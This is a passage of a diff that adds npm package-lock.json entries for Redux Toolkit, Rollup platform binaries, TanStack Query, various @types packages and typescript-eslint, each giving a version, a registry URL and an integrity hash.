"https://registry.npmjs.org/@reduxjs/toolkit/-/toolkit-2.10.1.tgz",+ "integrity": "sha512-/U17EXQ9Do9Yx4DlNGU6eVNfZvFJfYpUtRRdLf19PbPjdWBxNlxGZXywQZ1p1Nz8nMkWplTI7iD/23m07nolDA==",+ "dependencies": {+ "@standard-schema/spec": "^1.0.0",+ "@standard-schema/utils": "^0.3.0",+ "immer": "^10.2.0",+ "redux": "^5.0.1",+ "redux-thunk": "^3.1.0",+ "reselect": "^5.1.0"+ },+ "peerDependencies": {+ "react": "^16.9.0 || ^17.0.0 || ^18 || ^19",+ "react-redux": "^7.2.1 || ^8.1.3 || ^9.0.0"+ },+ "peerDependenciesMeta": {+ "react": {+ "optional": true+ },+ "react-redux": {+ "optional": true+ }+ }+ },+ "node_modules/@rolldown/pluginutils": {+ "version": "1.0.0-beta.43",+ "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.43.tgz",+ "integrity": "sha512-5Uxg7fQUCmfhax7FJke2+8B6cqgeUJUD9o2uXIKXhD+mG0mL6NObmVoi9wXEU1tY89mZKgAYA6fTbftx3q2ZPQ==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/@rollup/rollup-android-arm-eabi": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.53.2.tgz",+ "integrity": "sha512-yDPzwsgiFO26RJA4nZo8I+xqzh7sJTZIWQOxn+/XOdPE31lAvLIYCKqjV+lNH/vxE2L2iH3plKxDCRK6i+CwhA==",+ "cpu": [+ "arm"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "android"+ ]+ },+ "node_modules/@rollup/rollup-android-arm64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.53.2.tgz",+ "integrity": "sha512-k8FontTxIE7b0/OGKeSN5B6j25EuppBcWM33Z19JoVT7UTXFSo3D9CdU39wGTeb29NO3XxpMNauh09B+Ibw+9g==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "android"+ ]+ },+ "node_modules/@rollup/rollup-darwin-arm64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.53.2.tgz",+ "integrity": "sha512-A6s4gJpomNBtJ2yioj8bflM2oogDwzUiMl2yNJ2v9E7++sHrSrsQ29fOfn5DM/iCzpWcebNYEdXpaK4tr2RhfQ==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "darwin"+ ]+ },+ "node_modules/@rollup/rollup-darwin-x64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.53.2.tgz",+ "integrity": "sha512-e6XqVmXlHrBlG56obu9gDRPW3O3hLxpwHpLsBJvuI8qqnsrtSZ9ERoWUXtPOkY8c78WghyPHZdmPhHLWNdAGEw==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "darwin"+ ]+ },+ "node_modules/@rollup/rollup-freebsd-arm64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.53.2.tgz",+ "integrity": "sha512-v0E9lJW8VsrwPux5Qe5CwmH/CF/2mQs6xU1MF3nmUxmZUCHazCjLgYvToOk+YuuUqLQBio1qkkREhxhc656ViA==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "freebsd"+ ]+ },+ "node_modules/@rollup/rollup-freebsd-x64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.53.2.tgz",+ "integrity": "sha512-ClAmAPx3ZCHtp6ysl4XEhWU69GUB1D+s7G9YjHGhIGCSrsg00nEGRRZHmINYxkdoJehde8VIsDC5t9C0gb6yqA==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "freebsd"+ ]+ },+ "node_modules/@rollup/rollup-linux-arm-gnueabihf": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.53.2.tgz",+ "integrity": "sha512-EPlb95nUsz6Dd9Qy13fI5kUPXNSljaG9FiJ4YUGU1O/Q77i5DYFW5KR8g1OzTcdZUqQQ1KdDqsTohdFVwCwjqg==",+ "cpu": [+ "arm"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-arm-musleabihf": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.53.2.tgz",+ "integrity": "sha512-BOmnVW+khAUX+YZvNfa0tGTEMVVEerOxN0pDk2E6N6DsEIa2Ctj48FOMfNDdrwinocKaC7YXUZ1pHlKpnkja/Q==",+ "cpu": [+ "arm"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-arm64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.53.2.tgz",+ "integrity": "sha512-Xt2byDZ+6OVNuREgBXr4+CZDJtrVso5woFtpKdGPhpTPHcNG7D8YXeQzpNbFRxzTVqJf7kvPMCub/pcGUWgBjA==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-arm64-musl": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.53.2.tgz",+ "integrity": "sha512-+LdZSldy/I9N8+klim/Y1HsKbJ3BbInHav5qE9Iy77dtHC/pibw1SR/fXlWyAk0ThnpRKoODwnAuSjqxFRDHUQ==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-loong64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.53.2.tgz",+ "integrity": "sha512-8ms8sjmyc1jWJS6WdNSA23rEfdjWB30LH8Wqj0Cqvv7qSHnvw6kgMMXRdop6hkmGPlyYBdRPkjJnj3KCUHV/uQ==",+ "cpu": [+ "loong64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.53.2.tgz",+ "integrity": "sha512-3HRQLUQbpBDMmzoxPJYd3W6vrVHOo2cVW8RUo87Xz0JPJcBLBr5kZ1pGcQAhdZgX9VV7NbGNipah1omKKe23/g==",+ "cpu": [+ "ppc64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-riscv64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.53.2.tgz",+ "integrity": "sha512-fMjKi+ojnmIvhk34gZP94vjogXNNUKMEYs+EDaB/5TG/wUkoeua7p7VCHnE6T2Tx+iaghAqQX8teQzcvrYpaQA==",+ "cpu": [+ "riscv64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-riscv64-musl": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.53.2.tgz",+ "integrity": "sha512-XuGFGU+VwUUV5kLvoAdi0Wz5Xbh2SrjIxCtZj6Wq8MDp4bflb/+ThZsVxokM7n0pcbkEr2h5/pzqzDYI7cCgLQ==",+ "cpu": [+ "riscv64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-s390x-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.53.2.tgz",+ "integrity": "sha512-w6yjZF0P+NGzWR3AXWX9zc0DNEGdtvykB03uhonSHMRa+oWA6novflo2WaJr6JZakG2ucsyb+rvhrKac6NIy+w==",+ "cpu": [+ "s390x"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-x64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.53.2.tgz",+ "integrity": "sha512-yo8d6tdfdeBArzC7T/PnHd7OypfI9cbuZzPnzLJIyKYFhAQ8SvlkKtKBMbXDxe1h03Rcr7u++nFS7tqXz87Gtw==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-linux-x64-musl": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.53.2.tgz",+ "integrity": "sha512-ah59c1YkCxKExPP8O9PwOvs+XRLKwh/mV+3YdKqQ5AMQ0r4M4ZDuOrpWkUaqO7fzAHdINzV9tEVu8vNw48z0lA==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ]+ },+ "node_modules/@rollup/rollup-openharmony-arm64": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.53.2.tgz",+ "integrity": "sha512-4VEd19Wmhr+Zy7hbUsFZ6YXEiP48hE//KPLCSVNY5RMGX2/7HZ+QkN55a3atM1C/BZCGIgqN+xrVgtdak2S9+A==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "openharmony"+ ]+ },+ "node_modules/@rollup/rollup-win32-arm64-msvc": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.53.2.tgz",+ "integrity": "sha512-IlbHFYc/pQCgew/d5fslcy1KEaYVCJ44G8pajugd8VoOEI8ODhtb/j8XMhLpwHCMB3yk2J07ctup10gpw2nyMA==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ]+ },+ "node_modules/@rollup/rollup-win32-ia32-msvc": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.53.2.tgz",+ "integrity": "sha512-lNlPEGgdUfSzdCWU176ku/dQRnA7W+Gp8d+cWv73jYrb8uT7HTVVxq62DUYxjbaByuf1Yk0RIIAbDzp+CnOTFg==",+ "cpu": [+ "ia32"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ]+ },+ "node_modules/@rollup/rollup-win32-x64-gnu": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.53.2.tgz",+ "integrity": "sha512-S6YojNVrHybQis2lYov1sd+uj7K0Q05NxHcGktuMMdIQ2VixGwAfbJ23NnlvvVV1bdpR2m5MsNBViHJKcA4ADw==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ]+ },+ "node_modules/@rollup/rollup-win32-x64-msvc": {+ "version": "4.53.2",+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.53.2.tgz",+ "integrity": "sha512-k+/Rkcyx//P6fetPoLMb8pBeqJBNGx81uuf7iljX9++yNBVRDQgD04L+SVXmXmh5ZP4/WOp4mWF0kmi06PW2tA==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ]+ },+ "node_modules/@socket.io/component-emitter": {+ "version": "3.1.2",+ "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz",+ "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA=="+ },+ "node_modules/@standard-schema/spec": {+ "version": "1.0.0",+ "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz",+ "integrity": "sha512-m2bOd0f2RT9k8QJx1JN85cZYyH1RqFBdlwtkSlf4tBDYLCiiZnv1fIIwacK6cqwXavOydf0NPToMQgpKq+dVlA=="+ },+ "node_modules/@standard-schema/utils": {+ "version": "0.3.0",+ "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz",+ "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g=="+ },+ "node_modules/@tanstack/query-core": {+ "version": "5.90.7",+ "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.90.7.tgz",+ "integrity": "sha512-6PN65csiuTNfBMXqQUxQhCNdtm1rV+9kC9YwWAIKcaxAauq3Wu7p18j3gQY3YIBJU70jT/wzCCZ2uqto/vQgiQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/tannerlinsley"+ }+ },+ "node_modules/@tanstack/query-devtools": {+ "version": "5.90.1",+ "resolved": "https://registry.npmjs.org/@tanstack/query-devtools/-/query-devtools-5.90.1.tgz",+ "integrity": "sha512-GtINOPjPUH0OegJExZ70UahT9ykmAhmtNVcmtdnOZbxLwT7R5OmRztR5Ahe3/Cu7LArEmR6/588tAycuaWb1xQ==",+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/tannerlinsley"+ }+ },+ "node_modules/@tanstack/react-query": {+ "version": "5.90.7",+ "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.90.7.tgz",+ "integrity": "sha512-wAHc/cgKzW7LZNFloThyHnV/AX9gTg3w5yAv0gvQHPZoCnepwqCMtzbuPbb2UvfvO32XZ46e8bPOYbfZhzVnnQ==",+ "dependencies": {+ "@tanstack/query-core": "5.90.7"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/tannerlinsley"+ },+ "peerDependencies": {+ "react": "^18 || ^19"+ }+ },+ "node_modules/@tanstack/react-query-devtools": {+ "version": "5.90.2",+ "resolved": "https://registry.npmjs.org/@tanstack/react-query-devtools/-/react-query-devtools-5.90.2.tgz",+ "integrity": "sha512-vAXJzZuBXtCQtrY3F/yUNJCV4obT/A/n81kb3+YqLbro5Z2+phdAbceO+deU3ywPw8B42oyJlp4FhO0SoivDFQ==",+ "dependencies": {+ "@tanstack/query-devtools": "5.90.1"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/tannerlinsley"+ },+ "peerDependencies": {+ "@tanstack/react-query": "^5.90.2",+ "react": "^18 || ^19"+ }+ },+ "node_modules/@types/babel__core": {+ "version": "7.20.5",+ "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",+ "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/parser": "^7.20.7",+ "@babel/types": "^7.20.7",+ "@types/babel__generator": "*",+ "@types/babel__template": "*",+ "@types/babel__traverse": "*"+ }+ },+ "node_modules/@types/babel__generator": {+ "version": "7.27.0",+ "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",+ "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/types": "^7.0.0"+ }+ },+ "node_modules/@types/babel__template": {+ "version": "7.4.4",+ "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",+ "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/parser": "^7.1.0",+ "@babel/types": "^7.0.0"+ }+ },+ "node_modules/@types/babel__traverse": {+ "version": "7.28.0",+ "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz",+ "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/types": "^7.28.2"+ }+ },+ "node_modules/@types/d3-array": {+ "version": "3.2.2",+ "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz",+ "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw=="+ },+ "node_modules/@types/d3-color": {+ "version": "3.1.3",+ "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz",+ "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="+ },+ "node_modules/@types/d3-ease": {+ "version": "3.0.2",+ "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz",+ "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="+ },+ "node_modules/@types/d3-interpolate": {+ "version": "3.0.4",+ "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz",+ "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==",+ "dependencies": {+ "@types/d3-color": "*"+ }+ },+ "node_modules/@types/d3-path": {+ "version": "3.1.1",+ "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz",+ "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg=="+ },+ "node_modules/@types/d3-scale": {+ "version": "4.0.9",+ "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz",+ "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==",+ "dependencies": {+ "@types/d3-time": "*"+ }+ },+ "node_modules/@types/d3-shape": {+ "version": "3.1.7",+ "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz",+ "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==",+ "dependencies": {+ "@types/d3-path": "*"+ }+ },+ "node_modules/@types/d3-time": {+ "version": "3.0.4",+ "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz",+ "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="+ },+ "node_modules/@types/d3-timer": {+ "version": "3.0.2",+ "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz",+ "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="+ },+ "node_modules/@types/debug": {+ "version": "4.1.12",+ "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.12.tgz",+ "integrity": "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ==",+ "dependencies": {+ "@types/ms": "*"+ }+ },+ "node_modules/@types/estree": {+ "version": "1.0.8",+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",+ "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",+ "license": "MIT"+ },+ "node_modules/@types/estree-jsx": {+ "version": "1.0.5",+ "resolved": "https://registry.npmjs.org/@types/estree-jsx/-/estree-jsx-1.0.5.tgz",+ "integrity": "sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==",+ "dependencies": {+ "@types/estree": "*"+ }+ },+ "node_modules/@types/hast": {+ "version": "3.0.4",+ "resolved": "https://registry.npmjs.org/@types/hast/-/hast-3.0.4.tgz",+ "integrity": "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==",+ "dependencies": {+ "@types/unist": "*"+ }+ },+ "node_modules/@types/json-schema": {+ "version": "7.0.15",+ "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",+ "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/@types/mdast": {+ "version": "4.0.4",+ "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz",+ "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==",+ "dependencies": {+ "@types/unist": "*"+ }+ },+ "node_modules/@types/ms": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz",+ "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="+ },+ "node_modules/@types/node": {+ "version": "24.10.0",+ "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.0.tgz",+ "integrity": "sha512-qzQZRBqkFsYyaSWXuEHc2WR9c0a0CXwiE5FWUvn7ZM+vdy1uZLfCunD38UzhuB7YN/J11ndbDBcTmOdxJo9Q7A==",+ "dev": true,+ "license": "MIT",+ "optional": true,+ "peer": true,+ "dependencies": {+ "undici-types": "~7.16.0"+ }+ },+ "node_modules/@types/react": {+ "version": "19.2.2",+ "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.2.tgz",+ "integrity": "sha512-6mDvHUFSjyT2B2yeNx2nUgMxh9LtOWvkhIU3uePn2I2oyNymUAX1NIsdgviM4CH+JSrp2D2hsMvJOkxY+0wNRA==",+ "license": "MIT",+ "dependencies": {+ "csstype": "^3.0.2"+ }+ },+ "node_modules/@types/react-dom": {+ "version": "19.2.2",+ "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.2.tgz",+ "integrity": "sha512-9KQPoO6mZCi7jcIStSnlOWn2nEF3mNmyr3rIAsGnAbQKYbRLyqmeSc39EVgtxXVia+LMT8j3knZLAZAh+xLmrw==",+ "devOptional": true,+ "license": "MIT",+ "peerDependencies": {+ "@types/react": "^19.2.0"+ }+ },+ "node_modules/@types/unist": {+ "version": "3.0.3",+ "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",+ "integrity": "sha512-ko/gIFJRv177XgZsZcBwnqJN5x/Gien8qNOn0D5bQU/zAzVf9Zt3BlcUiLqhV9y4ARk0GbT3tnUiPNgnTXzc/Q=="+ },+ "node_modules/@types/use-sync-external-store": {+ "version": "0.0.6",+ "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz",+ "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg=="+ },+ "node_modules/@typescript-eslint/eslint-plugin": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.46.3.tgz",+ "integrity": "sha512-sbaQ27XBUopBkRiuY/P9sWGOWUW4rl8fDoHIUmLpZd8uldsTyB4/Zg6bWTegPoTLnKj9Hqgn3QD6cjPNB32Odw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@eslint-community/regexpp": "^4.10.0",+ "@typescript-eslint/scope-manager": "8.46.3",+ "@typescript-eslint/type-utils": "8.46.3",+ "@typescript-eslint/utils": "8.46.3",+ "@typescript-eslint/visitor-keys": "8.46.3",+ "graphemer": "^1.4.0",+ "ignore": "^7.0.0",+ "natural-compare": "^1.4.0",+ "ts-api-utils": "^2.1.0"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "@typescript-eslint/parser": "^8.46.3",+ "eslint": "^8.57.0 || ^9.0.0",+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": {+ "version": "7.0.5",+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz",+ "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">= 4"+ }+ },+ "node_modules/@typescript-eslint/parser": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.3.tgz",+ "integrity": "sha512-6m1I5RmHBGTnUGS113G04DMu3CpSdxCAU/UvtjNWL4Nuf3MW9tQhiJqRlHzChIkhy6kZSAQmc+I1bcGjE3yNKg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/scope-manager": "8.46.3",+ "@typescript-eslint/types": "8.46.3",+ "@typescript-eslint/typescript-estree": "8.46.3",+ "@typescript-eslint/visitor-keys": "8.46.3",+ "debug": "^4.3.4"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "eslint": "^8.57.0 || ^9.0.0",+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/project-service": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.3.tgz",+ "integrity": "sha512-Fz8yFXsp2wDFeUElO88S9n4w1I4CWDTXDqDr9gYvZgUpwXQqmZBr9+NTTql5R3J7+hrJZPdpiWaB9VNhAKYLuQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/tsconfig-utils": "^8.46.3",+ "@typescript-eslint/types": "^8.46.3",+ "debug": "^4.3.4"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ },+ "peerDependencies": {+ "typescript": ">=4.8.4 <6.0.0"+ }+ },+ "node_modules/@typescript-eslint/scope-manager": {+ "version": "8.46.3",+ "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.3.tgz",+ "integrity": "sha512-FCi7Y1zgrmxp3DfWfr+3m9ansUUFoy8dkEdeQSgA9gbm8DaHYvZCdkFRQrtKiedFf3Ha6VmoqoAaP68+i+22kg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@typescript-eslint/types": "8.46.3",+ "@typescript-eslint/visitor-keys": "8.46.3"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/typescript-eslint"+ }+ },+ 